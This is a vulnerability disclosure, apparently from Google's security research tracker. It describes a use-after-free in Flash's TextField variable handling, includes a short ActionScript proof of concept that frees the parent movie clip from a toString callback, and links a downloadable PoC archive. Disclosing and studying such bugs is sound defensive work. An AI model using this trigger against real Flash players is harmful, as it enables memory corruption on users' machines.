32 lines
No EOL
847 B
Text
32 lines
No EOL
847 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=583
|
|
|
|
If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:
|
|
|
|
var mc = this.createEmptyMovieClip("mc", 301);
|
|
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100);
|
|
trace(my_txt);
|
|
my_txt.variable = "today_date";
|
|
mc.today_date = "blah";
|
|
var times = 0;
|
|
|
|
var date_interval:Number = setInterval(updateDate, 500);
|
|
|
|
function updateDate() {
|
|
mc.today_date = {toString : func};
|
|
}
|
|
|
|
function func(){
|
|
if(times == 0){
|
|
times++;
|
|
mc.removeMovieClip();
|
|
}
|
|
|
|
return "test";
|
|
|
|
}
|
|
|
|
A sample fla and swf are attached.
|
|
|
|
|
|
Proof of Concept:
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39049.zip |